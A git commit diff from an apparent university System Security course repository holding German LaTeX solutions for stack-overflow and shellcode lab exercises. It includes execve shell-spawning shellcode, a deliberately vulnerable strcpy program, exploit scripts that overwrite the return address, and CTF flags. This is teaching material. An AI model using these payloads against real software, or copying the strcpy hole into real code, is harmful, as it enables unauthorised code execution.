[Assignment-7] fix missing semicolon

Reviewed-on: #4

.gitea/workflows/build-latex.yaml

@@ -10,7 +10,8 @@ jobs:
       matrix:
         assignment: [
           "Assignment 4 - Protokollsicherheit (Praxis)",
-          "Assignment 5 - Software Security - Teil 1"
+          "Assignment 5 - Software Security - Teil 1",
+          "Assignment 6 - Software Security - Teil 2"
         ]
     steps:
     - uses: actions/checkout@v3

.gitignore

@@ -24,7 +24,6 @@ dist/
 downloads/
 eggs/
 .eggs/
-lib/
 lib64/
 parts/
 sdist/

Assignment 5 - Software Security - Teil 1/.gitignore

@@ -1,4 +0,0 @@
-# Latex Outputs
-*.log
-*.synctex.gz
-*.pdf

Assignment 5 - Software Security - Teil 1/abgabe.tex

@@ -12,6 +12,7 @@
 \usepackage{algpseudocode}
 \usepackage{xifthen}
 \usepackage{xcolor}
+\usepackage{pdfpages}
 \usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
 \usepackage{amsmath,amssymb,amstext,amsthm}
 \usepackage[shortlabels]{enumitem}
@@ -21,6 +22,29 @@
 \usepackage{etoolbox}
 \usepackage{tikz}
 
+\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
+\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
+\definecolor{string}{rgb}{0.6, 0.1, 0.1}
+\definecolor{background}{rgb}{0.95, 0.95, 0.95}
+
+\lstset{
+    language=bash,
+    backgroundcolor=\color{background},
+    basicstyle=\ttfamily\small,
+    keywordstyle=\color{keyword}\bfseries,
+    commentstyle=\color{comment}\itshape,
+    stringstyle=\color{string},
+    tabsize=2,
+    showspaces=false,
+    showstringspaces=false,
+    frame=single,
+    numbers=left,
+    numberstyle=\tiny\color{gray},
+    breaklines=true,
+    captionpos=b,
+    escapeinside={(*@}{@*)},
+}
+
 \usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
 \usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
 \usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
@@ -70,8 +94,196 @@
 \sheetnr{5}
 % <-- Anpassen %
 \begin{document}
+
+\begin{exercise}[Analyse von Binärdaten]{1}
+    \begin{subexercises}
+        \item Der Output von \texttt{objdump} mit der \texttt{secret} Funktion extrahiert.
+            \begin{lstlisting}[language=bash]
+user@intro:~$ objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ <secret>/'
+0000120d <secret>:
+    120d:	f3 0f 1e fb          	endbr32
+    1211:	55                   	push   %ebp
+    1212:	89 e5                	mov    %esp,%ebp
+    1214:	8b 45 08             	mov    0x8(%ebp),%eax
+    1217:	8d 50 ff             	lea    -0x1(%eax),%edx
+    121a:	89 d0                	mov    %edx,%eax
+    121c:	01 c0                	add    %eax,%eax
+    121e:	01 d0                	add    %edx,%eax
+    1220:	83 c0 05             	add    $0x5,%eax
+    1223:	5d                   	pop    %ebp
+    1224:	c3                   	ret
+            \end{lstlisting}
+
+        \item Man kann durch den Command \lstinline[language=bash]{gdb -x commands} gdb mit der Datei \texttt{commands} ausgeben.
+        
+        \begin{figure}[H]
+            \begin{lstlisting}[]
+# Lines starting with a '#' symbol are comments
+# Do not remove this intial line; it will disable pagination
+set pagination off
+
+# TODO: your commands go here
+# read in the intro binary
+file intro
+# breakpoint at secret
+break secret
+# run program with paramter value 5
+r 5
+# read eax register
+i r eax
+stepi 6
+# after 5. instruction
+i r eax
+stepi
+# after 6. instruction
+i r eax
+stepi
+# after 7. instruction
+i r eax
+stepi
+# after 8. instruction
+i r eax
+
+# continue program to end
+continue
+# END of your commands
+
+# Do not remove the final quit; it will exit GDB automatically
+quit
+                            \end{lstlisting}
+            \caption[short]{Inhalt der command Datei}
+        \end{figure}
+
+        Dabei wird zuerst die Datei \texttt{intro} in gdb eingelesen. 
+        Anschließend wird ein Breakpoint bei der Funktion secret gesetzt.
+        Dann wird das Programm mit dem Parameter gestartet und, wie in der Aufgabe gewollt, wird das Register eax an verschiedenen Stellen ausgelesen.
+        Der Ausgabewert der Funktion ist dann 17.
+        \\
+        
+        \begin{lstlisting}[language=bash]
+user@intro:~$ gdb -x commands
+GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
+Copyright (C) 2020 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+Type "show copying" and "show warranty" for details.
+This GDB was configured as "x86_64-linux-gnu".
+Type "show configuration" for configuration details.
+For bug reporting instructions, please see:
+<http://www.gnu.org/software/gdb/bugs/>.
+Find the GDB manual and other documentation resources online at:
+    <http://www.gnu.org/software/gdb/documentation/>.
+
+For help, type "help".
+Type "apropos word" to search for commands related to "word".
+Breakpoint 1 at 0x120d: file intro.c, line 5.
+
+Breakpoint 1, secret (num=5) at intro.c:5
+5	intro.c: No such file or directory.
+eax            0x5                 5
+0x5655621c	6	in intro.c
+eax            0x4                 4
+0x5655621e	6	in intro.c
+eax            0x8                 8
+6	in intro.c
+eax            0xc                 12
+7	in intro.c
+eax            0x11                17
+[Inferior 1 (process 630) exited normally]
+        \end{lstlisting}
+
+        \item Für die Herleitung der Funktion werden zuerst ein paar Probewerte genommen.
+        
+        \begin{align*}
+            f(0) &= 2\\
+            f(3) &= 11\\
+            f(4) &= 14\\
+            f(5) &= 17\\
+            f(7) &= 23\\
+        \end{align*}
+
+        Die Funktion $f(n)$ muss eine konstante 2 haben, da $f(0) = 2$.
+        Anschließend gehe man davon aus, dass $f(n)$ linear sei. Dann müsste $f(n) = an + 2$ sein.
+        Das gilt genau dann, wenn der ggT aller Paare $(n, f(n) - 2)$ für jeden Wert gleich ist. Das gilt mit $\forall n \in \mathbb{N} : ggT(n, f(n) - 2) = 3$.
+        Also:
+    
+
+        \begin{align*}
+            f(n) = 3n + 2
+        \end{align*}
+        \newpage
+        \item Das Programm liefert den Output
+        \begin{lstlisting}[language=bash]
+user@intro:~$ readelf -S intro
+There are 36 section headers, starting at offset 0x413c:
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+  [ 1] .interp           PROGBITS        000001b4 0001b4 000013 00   A  0   0  1
+  [ 2] .note.gnu.build-i NOTE            000001c8 0001c8 000024 00   A  0   0  4
+  [ 3] .note.gnu.propert NOTE            000001ec 0001ec 00001c 00   A  0   0  4
+  [ 4] .note.ABI-tag     NOTE            00000208 000208 000020 00   A  0   0  4
+  [ 5] .gnu.hash         GNU_HASH        00000228 000228 000020 04   A  6   0  4
+  [ 6] .dynsym           DYNSYM          00000248 000248 0000a0 10   A  7   1  4
+  [ 7] .dynstr           STRTAB          000002e8 0002e8 0000a7 00   A  0   0  1
+  [ 8] .gnu.version      VERSYM          00000390 000390 000014 02   A  6   0  2
+  [ 9] .gnu.version_r    VERNEED         000003a4 0003a4 000030 00   A  7   1  4
+  [10] .rel.dyn          REL             000003d4 0003d4 000060 08   A  6   0  4
+  [11] .rel.plt          REL             00000434 000434 000020 08  AI  6  24  4
+  [12] .init             PROGBITS        00001000 001000 000024 00  AX  0   0  4
+  [13] .plt              PROGBITS        00001030 001030 000050 04  AX  0   0 16
+  [14] .plt.got          PROGBITS        00001080 001080 000010 10  AX  0   0 16
+  [15] .plt.sec          PROGBITS        00001090 001090 000040 10  AX  0   0 16
+  [16] .text             PROGBITS        000010d0 0010d0 000249 00  AX  0   0 16
+  [17] .fini             PROGBITS        0000131c 00131c 000018 00  AX  0   0  4
+  [18] .rodata           PROGBITS        00002000 002000 00001c 00   A  0   0  4
+  [19] .eh_frame_hdr     PROGBITS        0000201c 00201c 000054 00   A  0   0  4
+  [20] .eh_frame         PROGBITS        00002070 002070 00013c 00   A  0   0  4
+  [21] .init_array       INIT_ARRAY      00003ec8 002ec8 000004 04  WA  0   0  4
+  [22] .fini_array       FINI_ARRAY      00003ecc 002ecc 000004 04  WA  0   0  4
+  [23] .dynamic          DYNAMIC         00003ed0 002ed0 000100 08  WA  7   0  4
+  [24] .got              PROGBITS        00003fd0 002fd0 000030 04  WA  0   0  4
+  [25] .data             PROGBITS        00004000 003000 000008 00  WA  0   0  4
+  [26] .bss              NOBITS          00004008 003008 000004 00  WA  0   0  1
+  [27] .comment          PROGBITS        00000000 003008 00002b 01  MS  0   0  1
+  [28] .debug_aranges    PROGBITS        00000000 003033 000020 00      0   0  1
+  [29] .debug_info       PROGBITS        00000000 003053 000369 00      0   0  1
+  [30] .debug_abbrev     PROGBITS        00000000 0033bc 00011f 00      0   0  1
+  [31] .debug_line       PROGBITS        00000000 0034db 00010a 00      0   0  1
+  [32] .debug_str        PROGBITS        00000000 0035e5 0002b9 01  MS  0   0  1
+  [33] .symtab           SYMTAB          00000000 0038a0 0004d0 10     34  51  4
+  [34] .strtab           STRTAB          00000000 003d70 000271 00      0   0  1
+  [35] .shstrtab         STRTAB          00000000 003fe1 000158 00      0   0  1
+        \end{lstlisting}
+
+        \item Die in dem Code angegebenen Labels können wie folgt eingeteilt werden:
+        \begin{enumerate}[<A>:]
+            \item Die statisch initialisierte Variable wird in der Section .data gespeichert. \\
+            
+            \textbf{Grund:}
+            "This section  holds  initialized data that contribute to the program\'s memory image. This section is of type SHT\_PROGBITS. The attribute types are SHF\_ALLOC and SHF\_WRITE."\footnote[1]{Manual page elf(5)}
+            
+            \item Die statisch nicht initialisierte Variable wird in der Section .bss gespeichert. \\
+
+            \textbf{Grund:} 
+            "This section holds uninitialized data that contributes to the program\'s memory image. By definition, the system initializes the data with zeros when the program begins to run. This section is of type SHT\_NOBITS. The attribute types are SHF\_ALLOC and SHF\_WRITE."\footnotemark[1]
+
+            \item Ausführbare Code wird in der Section .text gespeichert. \\
+
+            \textbf{Grund:}
+            "This section holds the "text", or executable instructions, of a program.  This section is of type SHT\_PROGBITS.  The attributes used are SHF\_ALLOC and SHF\_EXECINSTR."\footnotemark[1]
+
+            \item Lokale Variablen werden auf dem Stack gespeichert.
+            \item Lokale Variablen werden auf dem Stack gespeichert.
+        \end{enumerate}
+
+    \end{subexercises}
+\end{exercise}
+
 \begin{exercise}[Crackme]{2}
-    Die Funkion \lstinline{verify_key} leitet das Passwort aus einem geheimen Schlüssel ab, indem der ASCII-Wert jedes Zeichens, abhängig von dessen Position, verändert wird.
+    Die Funktion \lstinline{verify_key} leitet das Passwort aus einem geheimen Schlüssel ab, indem der ASCII-Wert jedes Zeichens, abhängig von dessen Position, verändert wird.
     Dem ASCII-Wert jedes Zeichens wird der doppelte Positionswert, bei 0 startend, abgezogen.
 
     Die Funktion gibt den Wert \lstinline{1} zurück, falls das abgeleitete Passwort mit der konstanten Zeichenkette \lstinline{MMNNQ} übereinstimmt.
@@ -81,11 +293,87 @@
 \begin{exercise}[System Calls und Shellcode]{3}
 \begin{subexercises}
 \item Ein Linux-Syscall auf der x86-Architektur ist als i386-Architektur in \lstinline{syscall(2)} der Linux Manpages spezifiziert.
-    oohhh
     Dabei wird die Zahlenkennung des Syscalls in Register eax übergeben.
     Bis zu 6 Argumente können in den Registern \lstinline{ebx}, \lstinline{ecx}, \lstinline{edx}, \lstinline{esi}, \lstinline{edi} und \lstinline{ebp} übergeben werden.
     Mit dem Aufruf der Instruktion \lstinline{int $0x80} wird der Syscall ausgelöst und der Syscall-Handler im Kernel durch Auslösen eines Interrupts ausgeführt.
     Ausgaben des Syscalls werden in den Registern eax und edx zurückgegeben.
 \end{subexercises}
 \end{exercise}
+
+\lstset{
+    language=C,
+    basicstyle=\ttfamily\footnotesize,
+    keywordstyle=\color{blue},
+    commentstyle=\color{gray},
+    stringstyle=\color{red},
+    numbers=left,
+    numberstyle=\tiny\color{gray},
+    stepnumber=1,
+    numbersep=5pt,
+    backgroundcolor=\color{white},
+    showspaces=false,
+    showstringspaces=false,
+    showtabs=false,
+    frame=single,
+    tabsize=4,
+    captionpos=b,
+    breaklines=true,
+    breakatwhitespace=false,
+    escapeinside={\%*}{*)},
+    morekeywords={uint32_t, uint16_t, uint8_t} % Add keywords here
+}
+
+\begin{exercise}[Data-Only Attack]{4}
+\begin{subexercises}
+    \item Im folgenden einmal die ursprüngliche und die gehärtete Funktion.
+    
+    \begin{lstlisting}[caption={check\_authentication}, label={lst:check_authentication}]
+int check_authentication(char *password) {
+    int auth_flag = 0;
+    char password_buffer[12];
+    
+    strcpy (password_buffer, password);
+    
+    if(strcmp(password_buffer, "swordfish") == 0)
+        auth_flag = 1;
+        
+    return auth_flag;
+}
+    \end{lstlisting}
+
+    \begin{lstlisting}[caption={hardened check\_authentication}, label={lst:hardened_check_authentication}]
+int check_authentication(char *password) {
+    char x = 0, y = 0, z = 0;
+    char password_buffer[12];
+    
+    strcpy(password_buffer, password);
+    
+    if(strcmp(password_buffer, "swordfish") == 0) {
+        x = 0x21;
+        y = 0x6b;
+        z = 0x4f;
+    }
+    
+    int auth_flag = 0;
+
+    if((x == 0x21) && (y == 0x6b) && (z == 0x4f)) {
+        auth_flag = 1;
+    }
+
+    return auth_flag;
+}
+    \end{lstlisting}
+
+    Die gehärtete Funktion deklariert \texttt{auth\_flag} nicht mehr als Erstes innerhalb der Funktion. Stattdessen werden zunächst drei Variablen vom Typ \texttt{char} mit dem Wert 0 initialisiert. In der IF-Abfrage, in der das Passwort mit dem String \texttt{swordfish} verglichen wird, wird bei übereinstimmendem Passwort nicht mehr direkt \texttt{auth\_flag} auf 1 gesetzt. Stattdessen erhalten die drei zuvor deklarierten Variablen spezifische Werte. Anschließend wird \texttt{auth\_flag} mit 0 initialisiert. In einer zweiten IF-Abfrage wird überprüft, ob die drei Variablen die Werte aufweisen, die sie bei korrektem Passwort haben sollten. Falls dies der Fall ist, wird \texttt{auth\_flag} auf 1 gesetzt. Zum Abschluss wird \texttt{auth\_flag} zurückgegeben. Die nicht gehärtete Funktion, setzt direkt nach dem Vergleich den Rückgabewert, falls das Passwort korrekt ist, auf 1. Danach wird dieser zurückgegeben.
+
+    Da die 3 Variablen vor dem \texttt{password\_buffer} deklariert werden, liegen sie an einer höheren Speicheradresse im Stack. Somit überschreibt, falls der Input \texttt{char *password} einen String länger als 12 Byte enthält, die unsichere Funktion \texttt{strcpy} diese drei Variablen. Somit muss das Passwort 15 Byte lange sein (12 Byte Buffer + 3 Bytes). Die ersten zwölf Byte sorgen dafür, dass das 13. Byte die erste der drei Variablen überschreibt, etc. Somit müssen die 3 letzten Byte die Werte haben, auf die in der 2. IF-Abfrage geprüft wird, damit die \texttt{auth\_flag} auf 1 gesetzt wird. Die Endianess muss beachtet werden. Diese können mit einem Debugger einfach gefunden werden.
+    
+    \item Anbei das ausgefüllte Speicherlayout. Anbei Bilder, die unser ausgefülltes Layout bestätigen. 
+    
+    Dem Bild kann entnommen werden, dass der Stack der Funktion \texttt{check\_authentication} bei \texttt{0xffffd500} startet und bis \texttt{0xffffd4e0} geht. Somit hat der Stack eine Größe von 32 (+4 Byte Parameter \texttt{@0xffffd500}), also 36 Byte. Außerdem kann dem Bild der aktuelle Stackinhalt entnommen werden. Der Stack ist keine 40 Byte groß, weshalb die Vorlage nicht genau passt und ein Speicherwort zu viel Platz ist.
+    
+    \includegraphics[width=\textwidth]{gdb.png}
+    \includepdf[pages=1]{h5_ss24.pdf}
+\end{subexercises}
+\end{exercise}
 \end{document}

Assignment 5 - Software Security - Teil 1/analyse/.bash_history

@@ -0,0 +1,272 @@
+#1717414602
+ls
+#1717414605
+cat commands 
+#1717415348
+clear
+#1717415350
+ls
+#1717415351
+ls intro 
+#1717415354
+./intro 
+#1717415361
+objdump
+#1717415381
+objdump intro 
+#1717415420
+objdump -d intro 
+#1717415434
+man objdump
+#1717415443
+objdump -d=secret intro 
+#1717415453
+objdump -d intro 
+#1717415900
+man objdump
+#1717415917
+objdump -d -j=secret intro 
+#1717415921
+man objdump
+#1717415972
+objdump -d -j=secret intro awk -v RS= '/^[[:xdigit:]]+ <myfunc>/'
+#1717415994
+objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ <secret>/'
+#1717939441
+ls
+#1717939451
+cat commands 
+#1717939475
+cat intro 
+#1717939479
+clear
+#1717939481
+ls
+#1717939483
+ll
+#1717939485
+l
+#1717939490
+ls -la
+#1717939492
+ls -lh
+#1717939514
+cat .bash_history 
+#1717939524
+objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ <secret>/'
+#1717939721
+task help
+#1717939731
+task info
+#1717939739
+task id
+#1717939745
+task check
+#1717939826
+man gdb
+#1717939894
+gdb intro 
+#1717940125
+clear
+#1717940125
+ls
+#1717940129
+gdb intro 
+#1717942144
+ls
+#1717942149
+nano commands 
+#1717942239
+task check
+#1717942298
+cat commands
+#1717942311
+clear
+#1717942321
+man gdb
+#1717942339
+nano commands 
+#1717942350
+man gdb
+#1717942403
+gdb -x commands intro 
+#1717942416
+nano commands 
+#1717942422
+gdb -x commands intro 
+#1717942426
+task check
+#1717942451
+gdb
+#1717942499
+nano commands 
+#1717942514
+gdb -x commands intro 
+#1717942520
+task check
+#1717942557
+nano commands 
+#1717942567
+gdb -x commands intro 
+#1717942582
+nano commands 
+#1717942590
+gdb -x commands intro 
+#1717942602
+task check
+#1717942691
+nano commands 
+#1717942711
+gdb
+#1717942722
+ls
+#1717942726
+gdb intro 
+#1717942741
+gdb
+#1717942836
+nano commands 
+#1717942847
+gdb
+#1717942850
+nano commands 
+#1717942862
+gdb -x commands
+#1717942872
+task check
+#1717942885
+nano commands 
+#1717943082
+gdb intro 
+#1717943152
+nano commands 
+#1717943162
+gdb -x commands
+#1717943164
+nano commands 
+#1717943179
+gdb -x commands
+#1717943183
+clear
+#1717943183
+ls
+#1717943186
+task check
+#1717943204
+nano commands 
+#1717943214
+task check
+#1717943219
+nano commands 
+#1717943238
+task check
+#1717943241
+task submit
+#1717943604
+gdb intro 
+#1717943679
+objdump intro 
+#1717943687
+objdump -D intro 
+#1717943691
+objdump -d intro 
+#1717943870
+objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ <secret>/'
+#1717943884
+gdb intro 
+#1717944098
+gdb intro
+#1717944117
+ls
+#1717944130
+cp commands find_func
+#1717944132
+nano find_func 
+#1717944188
+gdb -x find_func 
+#1717944202
+./intro
+#1717944204
+./intro 5
+#1717944207
+./intro 6
+#1717944208
+7
+#1717944210
+./intro 7
+#1717944212
+./intro 8
+#1717944219
+clear
+#1717944231
+nano find_func 
+#1717944240
+gdb -x find_func 
+#1717944295
+nano find_func 
+#1717944344
+gdb -x find_func 
+#1717944382
+nano find_func 
+#1717944388
+gdb -x find_func 
+#1717944397
+nano find_func 
+#1717944402
+gdb -x find_func 
+#1717944430
+nano find_func 
+#1717944440
+gdb -x find_func 
+#1717944470
+gdb intro 
+#1717944479
+readelf
+#1717944487
+readelf intro 
+#1717944516
+readelf ßS intro 
+#1717944519
+readelf -S intro 
+#1717945558
+objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ <secret>/'
+#1717947140
+ls
+#1717947141
+clear
+#1717947141
+ls
+#1717947166
+readelf -S intro 
+#1717948566
+ls
+#1717948569
+clear
+#1717948572
+readelf -S intro 
+#1717948913
+man 5 elf
+#1717949114
+elf
+#1717949128
+man 5 elf
+#1717949898
+task check
+#1717949902
+task info
+#1717949906
+task help
+#1717949922
+ls
+#1717949924
+rm find_func 
+#1717949925
+clear
+#1717949926
+ls
+#1717949929
+task check
+#1717950826
+ls
+#1717950831
+cat commands 

Assignment 5 - Software Security - Teil 1/analyse/commands

@@ -0,0 +1,28 @@
+# Lines starting with a '#' symbol are comments
+# Do not remove this intial line; it will disable pagination
+set pagination off
+
+file intro
+break secret
+# TODO: your commands go here
+r 5
+i r eax
+stepi 6
+# after 5. instruction
+i r eax
+stepi
+# after 6. instruction
+i r eax
+stepi
+# after 7. instruction
+i r eax
+stepi
+# after 8. instruction
+i r eax
+
+# continue program to end
+continue
+# END of your commands
+
+# Do not remove the final quit; it will exit GDB automatically
+quit

Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm

@@ -16,6 +16,8 @@ _start:
     push 0x68736164     ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian)
     push 0x2f2f2f2f     ; push the ASCII values for '////' onto the stack in reverse order "
     push 0x6e69622f     ; push the ASCII values for '/bin' onto the stack in reverse order "
+                        ; only multiples of wordsize (here 4 byte) can be pushed onto stack
+                        ; therefore four / in the second push
     mov ebx, esp        ; set ebx to the address of the '/bin////dash' string (top of the stack)
     mov ecx, eax        ; set ecx to NULL (=> char *const _Nullable argv[] is NULL)
     mov edx, eax        ; set edx to NULL (=> char *const _Nullable envp[] is NULL)

Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c

@@ -4,7 +4,7 @@
 // gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c
 
 // Your shellcode goes here
-char *shellcode = "\x90\x90\x90...";
+char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
 // ------------------------
 
 int main()

Assignment 6 - Software Security - Teil 2/abgabe.tex

@@ -0,0 +1,162 @@
+\documentclass[11pt]{scrartcl}
+
+\usepackage[utf8]{inputenc}
+\usepackage[T1]{fontenc}
+\usepackage[ngerman]{babel}
+\usepackage{lmodern}
+\usepackage{graphicx}
+\usepackage{listings}
+\usepackage{xspace}
+\usepackage{amsmath}
+\usepackage{algorithm}
+\usepackage{algpseudocode}
+\usepackage{xifthen}
+\usepackage{xcolor}
+\usepackage{pdfpages}
+\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
+\usepackage{amsmath,amssymb,amstext,amsthm}
+\usepackage[shortlabels]{enumitem}
+\usepackage[headsepline]{scrlayer-scrpage} 
+\pagestyle{scrheadings} 
+\usepackage{titling}
+\usepackage{etoolbox}
+\usepackage{tikz}
+\usepackage{multirow}
+\usepackage{tabularx}
+
+\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
+\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
+\definecolor{string}{rgb}{0.6, 0.1, 0.1}
+\definecolor{background}{rgb}{0.95, 0.95, 0.95}
+
+\lstset{
+    language=bash,
+    backgroundcolor=\color{background},
+    basicstyle=\ttfamily\small,
+    keywordstyle=\color{keyword}\bfseries,
+    commentstyle=\color{comment}\itshape,
+    stringstyle=\color{string},
+    tabsize=2,
+    showspaces=false,
+    showstringspaces=false,
+    frame=single,
+    numbers=left,
+    numberstyle=\tiny\color{gray},
+    breaklines=true,
+    captionpos=b,
+    escapeinside={(*@}{@*)},
+}
+
+\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
+\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
+\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
+
+\tikzset{% 
+    initial text={},
+    state/.style={circle, draw, minimum size=.6cm},
+    every initial by arrow/.style={-stealth},
+    every loop/.append style={-stealth},
+    >=stealth
+}
+
+\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}}
+\ihead{System Security, SoSe 24, Assignment \thesheetnr}
+
+% Sheet number
+\newcounter{sheetnr}
+\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}}
+
+% Exercise environments
+\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{}
+\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
+\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
+
+% Makros
+% MACRO for whole diagram 
+% #1: total width of diagram 
+% #2: total height of diagram 
+% #3: nodes, paths, ... 
+\newcommand\protocolflow[3]{ 
+\begin{center} 
+\begin{tikzpicture}[x=#1cm,y=#2cm] 
+#3 
+\end{tikzpicture} 
+\end{center} 
+}
+% MACRO for path line shortening 
+% #1: start coordinate 
+% #2: target coordinate 
+% #3: text above arrow 
+\newcommand{\package}[3]{ 
+\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); 
+}
+
+% Anpassen --> %
+\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer}
+\sheetnr{6}
+% <-- Anpassen %
+\begin{document}
+
+\begin{exercise}[Smashing the Stack for Fun and Profit]{5}
+\begin{subexercises}
+\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert.
+
+\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| }
+    \hline
+    Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\
+    \hline
+    Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\
+    \hline
+    Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\
+    \hline
+    Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\
+    \hline
+    Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\
+    \hline
+    Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\
+    \hline
+\end{tabular}
+\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
+    Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
+
+\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
+    Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
+    \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
+    Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
+\end{subexercises}
+\end{exercise}
+
+\begin{exercise}[Stack-Based Buffer Overflow]{6}
+\begin{subexercises}
+\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\
+        \begin{lstlisting}[language=Bash]
+#!/usr/bin/env sh
+
+# 21 Byte Shellcode
+SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+# Padding to fill:
+# - 79 Bytes to fill buff
+# - 8 Bytes to fill the local variables before buff
+# - 4 Bytes to fill the saved ebp value
+PADDING=$(printf "A%.0s" $(seq 1 91))
+# Address of the start of the buff array / shellcode
+RETADDR="\x1C\xDB\xFF\xFF"
+
+printf $SHELLCODE$PADDING$RETADDR
+        \end{lstlisting}
+    \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\
+\end{subexercises}
+\end{exercise}
+\end{document}

Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c

@@ -0,0 +1,24 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// vulnerable function
+int overflow_me(char* input)
+{
+    char buff[100];
+    printf("Buffer is at %p\n", &buff); // buff's address is leaked :O
+    strcpy(buff, input);
+
+    return 1;
+}
+
+int main(int argc, char *argv[])
+{
+    if(argc < 2)
+    {
+        printf("Syntax: %s <input string>\n", argv[0]);
+        exit (0);
+    }
+    overflow_me(argv[1]);
+    return 0;
+}

Assignment 6 - Software Security - Teil 2/basic_overflow/flag

@@ -0,0 +1 @@
+flag{THAT_WAS_EASY_HUH}

Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh

@@ -0,0 +1,14 @@
+#!/bin/bash
+
+# flag{THAT_WAS_EASY_HUH}
+
+######### Exploit #########
+# Step 1: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+
+# Step 2: Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..91}
+
+# Step 3: Overwrite the stored EIP with the address of the shellcode
+printf "\x2c\xd5\xff\xff"
+###########################

